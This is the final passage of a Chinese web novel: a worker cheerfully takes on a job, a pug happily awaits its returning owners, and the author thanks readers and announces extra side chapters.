“得嘞,您就好吧。”程六水笑意盈盈地甩开膀子就是干,甭说这加工钱就是有劲。 胖乎乎的小哈巴狗毛毛抬起那小狗头,东看看西看看,探出粉鼻头嗅来嗅去,真好,它的主人们回来了,等会儿它要吃好吃的大骨头!—— 作者有话说:正文完结了,后面还有几章番外~ 感谢大家一直以来的支持,文中所有人都会在另一个世界里幸福快乐地生活着,屏幕前的大家也要一直一直幸福快乐呀~《 》